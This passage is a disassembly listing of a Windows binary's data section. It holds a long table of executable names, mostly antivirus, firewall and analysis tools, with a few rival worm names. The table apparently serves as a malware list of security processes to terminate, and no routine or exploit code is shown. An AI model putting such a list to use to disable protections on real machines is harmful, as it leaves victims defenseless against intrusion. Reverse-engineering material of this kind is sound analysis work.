aSystem_exe ; "SYSTEM.EXE" dd offset aSystem32_exe ; "SYSTEM32.EXE" dd offset aSysupd_exe ; "SYSUPD.EXE" dd offset aTaskmg_exe ; "TASKMG.EXE" dd offset aTaskmo_exe ; "TASKMO.EXE" dd offset aTaskmon_exe ; "TASKMON.EXE" dd offset aTaumon_exe ; "TAUMON.EXE" dd offset aTbscan_exe ; "TBSCAN.EXE" dd offset aTc_exe ; "TC.EXE" dd offset aTca_exe ; "TCA.EXE" dd offset aTcm_exe ; "TCM.EXE" dd offset aTds3_exe ; "TDS-3.EXE" dd offset aTds298_exe ; "TDS2-98.EXE" dd offset aTds2Nt_exe ; "TDS2-NT.EXE" dd offset aTeekids_exe ; "TEEKIDS.EXE" dd offset aTfak_exe ; "TFAK.EXE" dd offset aTfak5_exe ; "TFAK5.EXE" dd offset aTgbob_exe ; "TGBOB.EXE" dd offset aTitanin_exe ; "TITANIN.EXE" dd offset aTitaninxp_exe ; "TITANINXP.EXE" dd offset aTracert_exe ; "TRACERT.EXE" dd offset aTrickler_exe ; "TRICKLER.EXE" dd offset aTrjscan_exe ; "TRJSCAN.EXE" dd offset aTrjsetup_exe ; "TRJSETUP.EXE" dd offset aTrojantrap3_ex ; "TROJANTRAP3.EXE" dd offset aTsadbot_exe ; "TSADBOT.EXE" dd offset aTvmd_exe ; "TVMD.EXE" dd offset aTvtmd_exe ; "TVTMD.EXE" dd offset aUndoboot_exe ; "UNDOBOOT.EXE" dd offset aUpdat_exe ; "UPDAT.EXE" dd offset aUpdate_exe ; "UPDATE.EXE" dd offset aUpdate_exe_0 ; "UPDATE.EXE" dd offset aUpgrad_exe ; "UPGRAD.EXE" dd offset aUtpost_exe ; "UTPOST.EXE" dd offset aVbcmserv_exe ; "VBCMSERV.EXE" dd offset aVbcons_exe ; "VBCONS.EXE" dd offset aVbust_exe ; "VBUST.EXE" dd offset aVbwin9x_exe ; "VBWIN9X.EXE" dd offset aVbwinntw_exe ; "VBWINNTW.EXE" dd offset aVcsetup_exe ; "VCSETUP.EXE" dd offset aVet32_exe ; "VET32.EXE" dd offset aVet95_exe ; "VET95.EXE" dd offset aVettray_exe ; "VETTRAY.EXE" dd offset aVfsetup_exe ; "VFSETUP.EXE" dd offset aVirHelp_exe ; "VIR-HELP.EXE" dd offset aVirusmdpersona ; "VIRUSMDPERSONALFIREWALL.EXE" dd offset aVnlan300_exe ; "VNLAN300.EXE" dd offset aVnpc3000_exe ; "VNPC3000.EXE" dd offset aVpc32_exe ; "VPC32.EXE" dd offset aVpc42_exe ; "VPC42.EXE" dd offset aVpfw30s_exe ; "VPFW30S.EXE" dd offset aVptray_exe ; "VPTRAY.EXE" dd offset aVscan40_exe ; "VSCAN40.EXE" dd offset aVscenu6_02d30_ ; "VSCENU6.02D30.EXE" dd offset aVsched_exe ; "VSCHED.EXE" dd offset aVsecomr_exe ; "VSECOMR.EXE" dd offset aVshwin32_exe ; "VSHWIN32.EXE" dd offset aVsisetup_exe ; "VSISETUP.EXE" dd offset aVsmain_exe ; "VSMAIN.EXE" dd offset aVsmon_exe ; "VSMON.EXE" dd offset aVsstat_exe ; "VSSTAT.EXE" dd offset aVswin9xe_exe ; "VSWIN9XE.EXE" dd offset aVswinntse_exe ; "VSWINNTSE.EXE" dd offset aVswinperse_exe ; "VSWINPERSE.EXE" dd offset aW32dsm89_exe ; "W32DSM89.EXE" dd offset aW9x_exe ; "W9X.EXE" dd offset aWatchdog_exe ; "WATCHDOG.EXE" dd offset aWebdav_exe ; "WEBDAV.EXE" dd offset aWebscanx_exe ; "WEBSCANX.EXE" dd offset aWebtrap_exe ; "WEBTRAP.EXE" dd offset aWfindv32_exe ; "WFINDV32.EXE" dd offset aWgfe95_exe ; "WGFE95.EXE" dd offset aWhoswatchingme ; "WHOSWATCHINGME.EXE" dd offset aWimmun32_exe ; "WIMMUN32.EXE" dd offset aWinBugsfix_exe ; "WIN-BUGSFIX.EXE" dd offset aWin32_exe ; "WIN32.EXE" dd offset aWin32us_exe ; "WIN32US.EXE" dd offset aWinactive_exe ; "WINACTIVE.EXE" dd offset aWindow_exe ; "WINDOW.EXE" dd offset aWindows_exe ; "WINDOWS.EXE" dd offset aWininetd_exe ; "WININETD.EXE" dd offset aWininit_exe ; "WININIT.EXE" dd offset aWininitx_exe ; "WININITX.EXE" dd offset aWinlogin_exe ; "WINLOGIN.EXE" dd offset aWinmain_exe ; "WINMAIN.EXE" dd offset aWinnet_exe ; "WINNET.EXE" dd offset aWinppr32_exe ; "WINPPR32.EXE" dd offset aWinrecon_exe ; "WINRECON.EXE" dd offset aWinservn_exe ; "WINSERVN.EXE" dd offset aWinssk32_exe ; "WINSSK32.EXE" dd offset aWinstart_exe ; "WINSTART.EXE" dd offset aWinstart001_ex ; "WINSTART001.EXE" dd offset aWintsk32_exe ; "WINTSK32.EXE" dd offset aWinupdate_exe ; "WINUPDATE.EXE" dd offset aWkufind_exe ; "WKUFIND.EXE" dd offset aWnad_exe ; "WNAD.EXE" dd offset aWnt_exe ; "WNT.EXE" dd offset aWradmin_exe ; "WRADMIN.EXE" dd offset aWrctrl_exe ; "WRCTRL.EXE" dd offset aWsbgate_exe ; "WSBGATE.EXE" dd offset aWupdater_exe ; "WUPDATER.EXE" dd offset aWupdt_exe ; "WUPDT.EXE" dd offset aWyvernworksfir ; "WYVERNWORKSFIREWALL.EXE" dd offset aXpf202en_exe ; "XPF202EN.EXE" dd offset aZapro_exe ; "ZAPRO.EXE" dd offset aZapsetup3001_e ; "ZAPSETUP3001.EXE" dd offset aZatutor_exe ; "ZATUTOR.EXE" dd offset aZonalm2601_exe ; "ZONALM2601.EXE" dd offset aZonealarm_exe ; "ZONEALARM.EXE" dd offset a_avp32_exe ; "_AVP32.EXE" dd offset a_avpcc_exe ; "_AVPCC.EXE" dd offset a_avpm_exe ; "_AVPM.EXE" dd offset aHijackthis_exe ; "HIJACKTHIS.EXE" dd offset aFAgobot_exe ; "F-AGOBOT.EXE" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset aSysinfo_exe ; "sysinfo.exe" dd offset aMscvb32_exe ; "mscvb32.exe" dd offset aPenis32_exe ; "Penis32.exe" dd offset aBbeagle_exe ; "bbeagle.exe" dd offset aSysmonxp_exe ; "SysMonXP.exe" dd offset aWinupd_exe ; "winupd.exe" dd offset aWinsys_exe ; "winsys.exe" dd offset aSsate_exe ; "ssate.exe" dd offset aRate_exe ; "rate.exe" dd offset aD3dupdate_exe ; "d3dupdate.exe" dd offset aIrun4_exe ; "irun4.exe" dd offset aI11r54n4_exe ; "i11r54n4.exe" aAckwin32_exe db 'ACKWIN32.EXE',0 ; DATA XREF: sub_40B4F2+ECo ; .data:off_43B340o align 10h aAdaware_exe db 'ADAWARE.EXE',0 ; DATA XREF: .data:0043B344o aAdvxdwin_exe db 'ADVXDWIN.EXE',0 ; DATA XREF: .data:0043B348o align 4 aAgentsvr_exe db 'AGENTSVR.EXE',0 ; DATA XREF: .data:0043B34Co align 4 aAgentw_exe db 'AGENTW.EXE',0 ; DATA XREF: .data:0043B350o align 4 aAlertsvc_exe db 'ALERTSVC.EXE',0 ; DATA XREF: .data:0043B354o align 4 aAlevir_exe db 'ALEVIR.EXE',0 ; DATA XREF: .data:0043B358o align 4 aAlogserv_exe db 'ALOGSERV.EXE',0 ; DATA XREF: .data:0043B35Co align 4 aAmon9x_exe db 'AMON9X.EXE',0 ; DATA XREF: .data:0043B360o align 10h aAntiTrojan_exe db 'ANTI-TROJAN.EXE',0 ; DATA XREF: .data:0043B364o aAntivirus_exe db 'ANTIVIRUS.EXE',0 ; DATA XREF: .data:0043B368o align 10h aAnts_exe db 'ANTS.EXE',0 ; DATA XREF: .data:0043B36Co align 4 aApimonitor_exe db 'APIMONITOR.EXE',0 ; DATA XREF: .data:0043B370o align 4 aAplica32_exe db 'APLICA32.EXE',0 ; DATA XREF: .data:0043B374o align 4 aApvxdwin_exe db 'APVXDWIN.EXE',0 ; DATA XREF: .data:0043B378o align 4 aArr_exe db 'ARR.EXE',0 ; DATA XREF: .data:0043B37Co aAtcon_exe db 'ATCON.EXE',0 ; DATA XREF: .data:0043B380o align 10h aAtguard_exe db 'ATGUARD.EXE',0 ; DATA XREF: .data:0043B384o aAtro55en_exe db 'ATRO55EN.EXE',0 ; DATA XREF: .data:0043B388o align 4 aAtupdater_exe db 'ATUPDATER.EXE',0 ; DATA XREF: .data:0043B38Co align 4 aAtupdater_ex_0 db 'ATUPDATER.EXE',0 ; DATA XREF: .data:0043B390o align 4 aAtwatch_exe db 'ATWATCH.EXE',0 ; DATA XREF: .data:0043B394o aAu_exe db 'AU.EXE',0 ; DATA XREF: .data:0043B398o align 10h aAupdate_exe db 'AUPDATE.EXE',0 ; DATA XREF: .data:0043B39Co aAupdate_exe_0 db 'AUPDATE.EXE',0 ; DATA XREF: .data:0043B3A0o aAutodown_exe db 'AUTODOWN.EXE',0 ; DATA XREF: .data:0043B3A4o align 4 aAutodown_exe_0 db 'AUTODOWN.EXE',0 ; DATA XREF: .data:0043B3A8o align 4 aAutotrace_exe db 'AUTOTRACE.EXE',0 ; DATA XREF: .data:0043B3ACo align 4 aAutotrace_ex_0 db 'AUTOTRACE.EXE',0 ; DATA XREF: .data:0043B3B0o align 4 aAutoupdate_exe db 'AUTOUPDATE.EXE',0 ; DATA XREF: .data:0043B3B4o align 4 aAutoupdate_e_0 db 'AUTOUPDATE.EXE',0 ; DATA XREF: .data:0043B3B8o align 4 aAvconsol_exe db 'AVCONSOL.EXE',0 ; DATA XREF: .data:0043B3BCo align 4 aAve32_exe db 'AVE32.EXE',0 ; DATA XREF: .data:0043B3C0o align 4 aAvgcc32_exe db 'AVGCC32.EXE',0 ; DATA XREF: .data:0043B3C4o aAvgctrl_exe db 'AVGCTRL.EXE',0 ; DATA XREF: .data:0043B3C8o aAvgnt_exe db 'AVGNT.EXE',0 ; DATA XREF: .data:0043B3CCo align 4 aAvgserv_exe db 'AVGSERV.EXE',0 ; DATA XREF: .data:0043B3D0o aAvgserv9_exe db 'AVGSERV9.EXE',0 ; DATA XREF: .data:0043B3D4o align 4 aAvguard_exe db 'AVGUARD.EXE',0 ; DATA XREF: .data:0043B3D8o aAvgw_exe db 'AVGW.EXE',0 ; DATA XREF: .data:0043B3DCo align 4 aAvkpop_exe db 'AVKPOP.EXE',0 ; DATA XREF: .data:0043B3E0o align 4 aAvkserv_exe db 'AVKSERV.EXE',0 ; DATA XREF: .data:0043B3E4o aAvkservice_exe db 'AVKSERVICE.EXE',0 ; DATA XREF: .data:0043B3E8o align 4 aAvkwctl9_exe db 'AVKWCTl9.EXE',0 ; DATA XREF: .data:0043B3ECo align 4 aAvltmain_exe db 'AVLTMAIN.EXE',0 ; DATA XREF: .data:0043B3F0o align 4 aAvnt_exe db 'AVNT.EXE',0 ; DATA XREF: .data:0043B3F4o align 10h aAvp_exe db 'AVP.EXE',0 ; DATA XREF: .data:0043B3F8o aAvp32_exe db 'AVP32.EXE',0 ; DATA XREF: .data:0043B3FCo align 4 aAvpcc_exe db 'AVPCC.EXE',0 ; DATA XREF: .data:0043B400o align 10h aAvpdos32_exe db 'AVPDOS32.EXE',0 ; DATA XREF: .data:0043B404o align 10h aAvpm_exe db 'AVPM.EXE',0 ; DATA XREF: .data:0043B408o align 4 aAvptc32_exe db 'AVPTC32.EXE',0 ; DATA XREF: .data:0043B40Co aAvpupd_exe db 'AVPUPD.EXE',0 ; DATA XREF: .data:0043B410o align 4 aAvpupd_exe_0 db 'AVPUPD.EXE',0 ; DATA XREF: .data:0043B414o align 10h aAvsched32_exe db 'AVSCHED32.EXE',0 ; DATA XREF: .data:0043B418o align 10h aAvsynmgr_exe db 'AVSYNMGR.EXE',0 ; DATA XREF: .data:0043B41Co align 10h aAvwin95_exe db 'AVWIN95.EXE',0 ; DATA XREF: .data:0043B420o aAvwinnt_exe db 'AVWINNT.EXE',0 ; DATA XREF: .data:0043B424o aAvwupd_exe db 'AVWUPD.EXE',0 ; DATA XREF: .data:0043B428o align 4 aAvwupd32_exe db 'AVWUPD32.EXE',0 ; DATA XREF: .data:0043B42Co align 4 aAvwupd32_exe_0 db 'AVWUPD32.EXE',0 ; DATA XREF: .data:0043B430o align 4 aAvwupsrv_exe db 'AVWUPSRV.EXE',0 ; DATA XREF: .data:0043B434o align 4 aAvxmonitor9x_e db 'AVXMONITOR9X.EXE',0 ; DATA XREF: .data:0043B438o align 4 aAvxmonitornt_e db 'AVXMONITORNT.EXE',0 ; DATA XREF: .data:0043B43Co align 4 aAvxquar_exe db 'AVXQUAR.EXE',0 ; DATA XREF: .data:0043B440o aAvxquar_exe_0 db 'AVXQUAR.EXE',0 ; DATA XREF: .data:0043B444o aBackweb_exe db 'BACKWEB.EXE',0 ; DATA XREF: .data:0043B448o aBargains_exe db 'BARGAINS.EXE',0 ; DATA XREF: .data:0043B44Co align 10h aBd_professiona db 'BD_PROFESSIONAL.EXE',0 ; DATA XREF: .data:0043B450o aBeagle_exe db 'BEAGLE.EXE',0 ; DATA XREF: .data:0043B454o align 10h aBelt_exe db 'BELT.EXE',0 ; DATA XREF: .data:0043B458o align 4 aBidef_exe db 'BIDEF.EXE',0 ; DATA XREF: .data:0043B45Co align 4 aBidserver_exe db 'BIDSERVER.EXE',0 ; DATA XREF: .data:0043B460o align 4 aBipcp_exe db 'BIPCP.EXE',0 ; DATA XREF: .data:0043B464o align 4 aBipcpevalsetup db 'BIPCPEVALSETUP.EXE',0 ; DATA XREF: .data:0043B468o align 4 aBisp_exe db 'BISP.EXE',0 ; DATA XREF: .data:0043B46Co align 4 aBlackd_exe db 'BLACKD.EXE',0 ; DATA XREF: .data:0043B470o align 10h aBlackice_exe db 'BLACKICE.EXE',0 ; DATA XREF: .data:0043B474o align 10h aBlss_exe db 'BLSS.EXE',0 ; DATA XREF: .data:0043B478o align 4 aBootconf_exe db 'BOOTCONF.EXE',0 ; DATA XREF: .data:0043B47Co align 4 aBootwarn_exe db 'BOOTWARN.EXE',0 ; DATA XREF: .data:0043B480o align 4 aBorg2_exe db 'BORG2.EXE',0 ; DATA XREF: .data:0043B484o align 4 aBpc_exe db 'BPC.EXE',0 ; DATA XREF: .data:0043B488o aBrasil_exe db 'BRASIL.EXE',0 ; DATA XREF: .data:0043B48Co align 4 aBs120_exe db 'BS120.EXE',0 ; DATA XREF: .data:0043B490o align 4 aBundle_exe db 'BUNDLE.EXE',0 ; DATA XREF: .data:0043B494o align 4 aBvt_exe db 'BVT.EXE',0 ; DATA XREF: .data:0043B498o aCcapp_exe db 'CCAPP.EXE',0 ; DATA XREF: .data:0043B49Co align 4 aCcevtmgr_exe db 'CCEVTMGR.EXE',0 ; DATA XREF: .data:0043B4A0o align 4 aCcpxysvc_exe db 'CCPXYSVC.EXE',0 ; DATA XREF: .data:0043B4A4o align 4 aCdp_exe db 'CDP.EXE',0 ; DATA XREF: .data:0043B4A8o aCfd_exe db 'CFD.EXE',0 ; DATA XREF: .data:0043B4ACo aCfgwiz_exe db 'CFGWIZ.EXE',0 ; DATA XREF: .data:0043B4B0o align 4 aCfiadmin_exe db 'CFIADMIN.EXE',0 ; DATA XREF: .data:0043B4B4o align 4 aCfiaudit_exe db 'CFIAUDIT.EXE',0 ; DATA XREF: .data:0043B4B8o align 4 aCfiaudit_exe_0 db 'CFIAUDIT.EXE',0 ; DATA XREF: .data:0043B4BCo align 4 aCfinet_exe db 'CFINET.EXE',0 ; DATA XREF: .data:0043B4C0o align 10h aCfinet32_exe db 'CFINET32.EXE',0 ; DATA XREF: .data:0043B4C4o align 10h aClaw95cf_exe db 'CLAW95CF.EXE',0 ; DATA XREF: .data:0043B4C8o align 10h aClean_exe db 'CLEAN.EXE',0 ; DATA XREF: .data:0043B4CCo align 4 aCleaner_exe db 'CLEANER.EXE',0 ; DATA XREF: .data:0043B4D0o aCleaner3_exe db 'CLEANER3.EXE',0 ; DATA XREF: .data:0043B4D4o align 4 aCleanpc_exe db 'CLEANPC.EXE',0 ; DATA XREF: .data:0043B4D8o aClick_exe db 'CLICK.EXE',0 ; DATA XREF: .data:0043B4DCo align 10h aCmd32_exe db 'CMD32.EXE',0 ; DATA XREF: .data:0043B4E0o align 4 aCmesys_exe db 'CMESYS.EXE',0 ; DATA XREF: .data:0043B4E4o align 4 aCmgrdian_exe db 'CMGRDIAN.EXE',0 ; DATA XREF: .data:0043B4E8o align 4 aCmon016_exe db 'CMON016.EXE',0 ; DATA XREF: .data:0043B4ECo aConnectionmoni db 'CONNECTIONMONITOR.EXE',0 ; DATA XREF: .data:0043B4F0o align 4 aCpd_exe db 'CPD.EXE',0 ; DATA XREF: .data:0043B4F4o aCpf9x206_exe db 'CPF9X206.EXE',0 ; DATA XREF: .data:0043B4F8o align 4 aCpfnt206_exe db 'CPFNT206.EXE',0 ; DATA XREF: .data:0043B4FCo align 4 aCtrl_exe db 'CTRL.EXE',0 ; DATA XREF: .data:0043B500o align 10h aCv_exe db 'CV.EXE',0 ; DATA XREF: .data:0043B504o align 4 aCwnb181_exe db 'CWNB181.EXE',0 ; DATA XREF: .data:0043B508o aCwntdwmo_exe db 'CWNTDWMO.EXE',0 ; DATA XREF: .data:0043B50Co align 4 aClaw95_exe db 'Claw95.EXE',0 ; DATA XREF: .data:0043B510o align 10h aClaw95cf_exe_0 db 'CLAW95CF.EXE',0 ; DATA XREF: .data:0043B514o align 10h aDatemanager_ex db 'DATEMANAGER.EXE',0 ; DATA XREF: .data:0043B518o aDcomx_exe db 'DCOMX.EXE',0 ; DATA XREF: .data:0043B51Co align 4 aDefalert_exe db 'DEFALERT.EXE',0 ; DATA XREF: .data:0043B520o align 4 aDefscangui_exe db 'DEFSCANGUI.EXE',0 ; DATA XREF: .data:0043B524o align 4 aDefwatch_exe db 'DEFWATCH.EXE',0 ; DATA XREF: .data:0043B528o align 4 aDeputy_exe db 'DEPUTY.EXE',0 ; DATA XREF: .data:0043B52Co align 4 aDivx_exe db 'DIVX.EXE',0 ; DATA XREF: .data:0043B530o align 4 aDllcache_exe db 'DLLCACHE.EXE',0 ; DATA XREF: .data:0043B534o align 4 aDllreg_exe db 'DLLREG.EXE',0 ; DATA XREF: .data:0043B538o align 10h aDoors_exe db 'DOORS.EXE',0 ; DATA XREF: .data:0043B53Co align 4 aDpf_exe db 'DPF.EXE',0 ; DATA XREF: .data:0043B540o aDpfsetup_exe db 'DPFSETUP.EXE',0 ; DATA XREF: .data:0043B544o align 4 aDpps2_exe db 'DPPS2.EXE',0 ; DATA XREF: .data:0043B548o align 10h aDrwatson_exe db 'DRWATSON.EXE',0 ; DATA XREF: .data:0043B54Co align 10h aDrweb32_exe db 'DRWEB32.EXE',0 ; DATA XREF: .data:0043B550o aDrwebupw_exe db 'DRWEBUPW.EXE',0 ; DATA XREF: .data:0043B554o align 4 aDssagent_exe db 'DSSAGENT.EXE',0 ; DATA XREF: .data:0043B558o align 4 aDvp95_exe db 'DVP95.EXE',0 ; DATA XREF: .data:0043B55Co align 4 aDvp95_0_exe db 'DVP95_0.EXE',0 ; DATA XREF: .data:0043B560o aEcengine_exe db 'ECENGINE.EXE',0 ; DATA XREF: .data:0043B564o align 4 aEfpeadm_exe db 'EFPEADM.EXE',0 ; DATA XREF: .data:0043B568o aEmsw_exe db 'EMSW.EXE',0 ; DATA XREF: .data:0043B56Co align 4 aEnt_exe db 'ENT.EXE',0 ; DATA XREF: .data:0043B570o aEsafe_exe db 'ESAFE.EXE',0 ; DATA XREF: .data:0043B574o align 10h aEscanh95_exe db 'ESCANH95.EXE',0 ; DATA XREF: .data:0043B578o align 10h aEscanhnt_exe db 'ESCANHNT.EXE',0 ; DATA XREF: .data:0043B57Co align 10h aEscanv95_exe db 'ESCANV95.EXE',0 ; DATA XREF: .data:0043B580o align 10h aEspwatch_exe db 'ESPWATCH.EXE',0 ; DATA XREF: .data:0043B584o align 10h aEthereal_exe db 'ETHEREAL.EXE',0 ; DATA XREF: .data:0043B588o align 10h aEtrustcipe_exe db 'ETRUSTCIPE.EXE',0 ; DATA XREF: .data:0043B58Co align 10h aEvpn_exe db 'EVPN.EXE',0 ; DATA XREF: .data:0043B590o align 4 aExantivirusCne db 'EXANTIVIRUS-CNET.EXE',0 ; DATA XREF: .data:0043B594o align 4 aExe_avxw_exe db 'EXE.AVXW.EXE',0 ; DATA XREF: .data:0043B598o align 4 aExpert_exe db 'EXPERT.EXE',0 ; DATA XREF: .data:0043B59Co align 10h aExplore_exe db 'EXPLORE.EXE',0 ; DATA XREF: .data:0043B5A0o aFAgnt95_exe db 'F-AGNT95.EXE',0 ; DATA XREF: .data:0043B5A4o align 4 aFProt_exe db 'F-PROT.EXE',0 ; DATA XREF: .data:0043B5A8o align 4 aFProt95_exe db 'F-PROT95.EXE',0 ; DATA XREF: .data:0043B5ACo align 4 aFStopw_exe db 'F-STOPW.EXE',0 ; DATA XREF: .data:0043B5B0o aFameh32_exe db 'FAMEH32.EXE',0 ; DATA XREF: .data:0043B5B4o aFast_exe db 'FAST.EXE',0 ; DATA XREF: .data:0043B5B8o align 4 aFch32_exe db 'FCH32.EXE',0 ; DATA XREF: .data:0043B5BCo align 4 aFih32_exe db 'FIH32.EXE',0 ; DATA XREF: .data:0043B5C0o align 4 aFindviru_exe db 'FINDVIRU.EXE',0 ; DATA XREF: .data:0043B5C4o align 4 aFirewall_exe db 'FIREWALL.EXE',0 ; DATA XREF: .data:0043B5C8o align 4 aFlowprotector_ db 'FLOWPROTECTOR.EXE',0 ; DATA XREF: .data:0043B5CCo align 4 aFnrb32_exe db 'FNRB32.EXE',0 ; DATA XREF: .data:0043B5D0o align 4 aFpWin_exe db 'FP-WIN.EXE',0 ; DATA XREF: .data:0043B5D4o align 10h aFpWin_trial_ex db 'FP-WIN_TRIAL.EXE',0 ; DATA XREF: .data:0043B5D8o align 4 aFprot_exe db 'FPROT.EXE',0 ; DATA XREF: .data:0043B5DCo align 10h aFrw_exe db 'FRW.EXE',0 ; DATA XREF: .data:0043B5E0o aFsaa_exe db 'FSAA.EXE',0 ; DATA XREF: .data:0043B5E4o align 4 aFsav_exe db 'FSAV.EXE',0 ; DATA XREF: .data:0043B5E8o align 10h aFsav32_exe db 'FSAV32.EXE',0 ; DATA XREF: .data:0043B5ECo align 4 aFsav530stbyb_e db 'FSAV530STBYB.EXE',0 ; DATA XREF: .data:0043B5F0o align 10h aFsav530wtbyb_e db 'FSAV530WTBYB.EXE',0 ; DATA XREF: .data:0043B5F4o align 4 aFsav95_exe db 'FSAV95.EXE',0 ; DATA XREF: .data:0043B5F8o align 10h aFsgk32_exe db 'FSGK32.EXE',0 ; DATA XREF: .data:0043B5FCo align 4 aFsm32_exe db 'FSM32.EXE',0 ; DATA XREF: .data:0043B600o align 4 aFsma32_exe db 'FSMA32.EXE',0 ; DATA XREF: .data:0043B604o align 4 aFsmb32_exe db 'FSMB32.EXE',0 ; DATA XREF: .data:0043B608o align 10h aGator_exe db 'GATOR.EXE',0 ; DATA XREF: .data:0043B60Co align 4 aGbmenu_exe db 'GBMENU.EXE',0 ; DATA XREF: .data:0043B610o align 4 aGbpoll_exe db 'GBPOLL.EXE',0 ; DATA XREF: .data:0043B614o align 4 aGenerics_exe db 'GENERICS.EXE',0 ; DATA XREF: .data:0043B618o align 4 aGmt_exe db 'GMT.EXE',0 ; DATA XREF: .data:0043B61Co aGuard_exe db 'GUARD.EXE',0 ; DATA XREF: .data:0043B620o align 4 aGuarddog_exe db 'GUARDDOG.EXE',0 ; DATA XREF: .data:0043B624o align 4 aHacktracersetu db 'HACKTRACERSETUP.EXE',0 ; DATA XREF: .data:0043B628o aHbinst_exe db 'HBINST.EXE',0 ; DATA XREF: .data:0043B62Co align 4 aHbsrv_exe db 'HBSRV.EXE',0 ; DATA XREF: .data:0043B630o align 4 aHotactio_exe db 'HOTACTIO.EXE',0 ; DATA XREF: .data:0043B634o align 4 aHotpatch_exe db 'HOTPATCH.EXE',0 ; DATA XREF: .data:0043B638o align 4 aHtlog_exe db 'HTLOG.EXE',0 ; DATA XREF: .data:0043B63Co align 10h aHtpatch_exe db 'HTPATCH.EXE',0 ; DATA XREF: .data:0043B640o aHwpe_exe db 'HWPE.EXE',0 ; DATA XREF: .data:0043B644o align 4 aHxdl_exe db 'HXDL.EXE',0 ; DATA XREF: .data:0043B648o align 4 aHxiul_exe db 'HXIUL.EXE',0 ; DATA XREF: .data:0043B64Co align 10h aIamapp_exe db 'IAMAPP.EXE',0 ; DATA XREF: .data:0043B650o align 4 aIamserv_exe db 'IAMSERV.EXE',0 ; DATA XREF: .data:0043B654o aIamstats_exe db 'IAMSTATS.EXE',0 ; DATA XREF: .data:0043B658o align 4 aIbmasn_exe db 'IBMASN.EXE',0 ; DATA XREF: .data:0043B65Co align 4 aIbmavsp_exe db 'IBMAVSP.EXE',0 ; DATA XREF: .data:0043B660o aIcload95_exe db 'ICLOAD95.EXE',0 ; DATA XREF: .data:0043B664o align 10h aIcloadnt_exe db 'ICLOADNT.EXE',0 ; DATA XREF: .data:0043B668o align 10h aIcmon_exe db 'ICMON.EXE',0 ; DATA XREF: .data:0043B66Co align 4 aIcsupp95_exe db 'ICSUPP95.EXE',0 ; DATA XREF: .data:0043B670o align 4 aIcsupp95_exe_0 db 'ICSUPP95.EXE',0 ; DATA XREF: .data:0043B674o align 4 aIcsuppnt_exe db 'ICSUPPNT.EXE',0 ; DATA XREF: .data:0043B678o align 4 aIdle_exe db 'IDLE.EXE',0 ; DATA XREF: .data:0043B67Co align 4 aIedll_exe db 'IEDLL.EXE',0 ; DATA XREF: .data:0043B680o align 4 aIedriver_exe db 'IEDRIVER.EXE',0 ; DATA XREF: .data:0043B684o align 4 aIexplorer_exe db 'IEXPLORER.EXE',0 ; DATA XREF: .data:0043B688o align 4 aIface_exe db 'IFACE.EXE',0 ; DATA XREF: .data:0043B68Co align 10h aIfw2000_exe db 'IFW2000.EXE',0 ; DATA XREF: .data:0043B690o aInetlnfo_exe db 'INETLNFO.EXE',0 ; DATA XREF: .data:0043B694o align 4 aInfus_exe db 'INFUS.EXE',0 ; DATA XREF: .data:0043B698o align 4 aInfwin_exe db 'INFWIN.EXE',0 ; DATA XREF: .data:0043B69Co align 4 aInit_exe db 'INIT.EXE',0 ; DATA XREF: .data:0043B6A0o align 10h aIntdel_exe db 'INTDEL.EXE',0 ; DATA XREF: .data:0043B6A4o align 4 aIntren_exe db 'INTREN.EXE',0 ; DATA XREF: .data:0043B6A8o align 4 aIomon98_exe db 'IOMON98.EXE',0 ; DATA XREF: .data:0043B6ACo aIparmor_exe db 'IPARMOR.EXE',0 ; DATA XREF: .data:0043B6B0o aIris_exe db 'IRIS.EXE',0 ; DATA XREF: .data:0043B6B4o align 4 aIsass_exe db 'ISASS.EXE',0 ; DATA XREF: .data:0043B6B8o align 4 aIsrv95_exe db 'ISRV95.EXE',0 ; DATA XREF: .data:0043B6BCo align 4 aIstsvc_exe db 'ISTSVC.EXE',0 ; DATA XREF: .data:0043B6C0o align 10h aJammer_exe db 'JAMMER.EXE',0 ; DATA XREF: .data:0043B6C4o align 4 aJdbgmrg_exe db 'JDBGMRG.EXE',0 ; DATA XREF: .data:0043B6C8o aJedi_exe db 'JEDI.EXE',0 ; DATA XREF: .data:0043B6CCo align 4 aKavlite40eng_e db 'KAVLITE40ENG.EXE',0 ; DATA XREF: .data:0043B6D0o align 4 aKavpers40eng_e db 'KAVPERS40ENG.EXE',0 ; DATA XREF: .data:0043B6D4o align 4 aKavpf_exe db 'KAVPF.EXE',0 ; DATA XREF: .data:0043B6D8o align 4 aKazza_exe db 'KAZZA.EXE',0 ; DATA XREF: .data:0043B6DCo align 4 aKeenvalue_exe db 'KEENVALUE.EXE',0 ; DATA XREF: .data:0043B6E0o align 4 aKerioPf213EnWi db 'KERIO-PF-213-EN-WIN.EXE',0 ; DATA XREF: .data:0043B6E4o aKerioWrl421EnW db 'KERIO-WRL-421-EN-WIN.EXE',0 ; DATA XREF: .data:0043B6E8o align 4 aKerioWrp421EnW db 'KERIO-WRP-421-EN-WIN.EXE',0 ; DATA XREF: .data:0043B6ECo align 4 aKernel32_exe db 'KERNEL32.EXE',0 ; DATA XREF: .data:0043B6F0o align 4 aKillprocessset db 'KILLPROCESSSETUP161.EXE',0 ; DATA XREF: .data:0043B6F4o aLauncher_exe db 'LAUNCHER.EXE',0 ; DATA XREF: .data:0043B6F8o align 4 aLdnetmon_exe db 'LDNETMON.EXE',0 ; DATA XREF: .data:0043B6FCo align 4 aLdpro_exe db 'LDPRO.EXE',0 ; DATA XREF: .data:0043B700o align 4 aLdpromenu_exe db 'LDPROMENU.EXE',0 ; DATA XREF: .data:0043B704o align 4 aLdscan_exe db 'LDSCAN.EXE',0 ; DATA XREF: .data:0043B708o align 4 aLnetinfo_exe db 'LNETINFO.EXE',0 ; DATA XREF: .data:0043B70Co align 4 aLoader_exe db 'LOADER.EXE',0 ; DATA XREF: .data:0043B710o align 10h aLocalnet_exe db 'LOCALNET.EXE',0 ; DATA XREF: .data:0043B714o align 10h aLockdown_exe db 'LOCKDOWN.EXE',0 ; DATA XREF: .data:0043B718o align 10h aLockdown2000_e db 'LOCKDOWN2000.EXE',0 ; DATA XREF: .data:0043B71Co align 4 aLookout_exe db 'LOOKOUT.EXE',0 ; DATA XREF: .data:0043B720o aLordpe_exe db 'LORDPE.EXE',0 ; DATA XREF: .data:0043B724o align 4 aLsetup_exe db 'LSETUP.EXE',0 ; DATA XREF: .data:0043B728o align 4 aLuall_exe db 'LUALL.EXE',0 ; DATA XREF: .data:0043B72Co align 4 aLuall_exe_0 db 'LUALL.EXE',0 ; DATA XREF: .data:0043B730o align 10h aLuau_exe db 'LUAU.EXE',0 ; DATA XREF: .data:0043B734o align 4 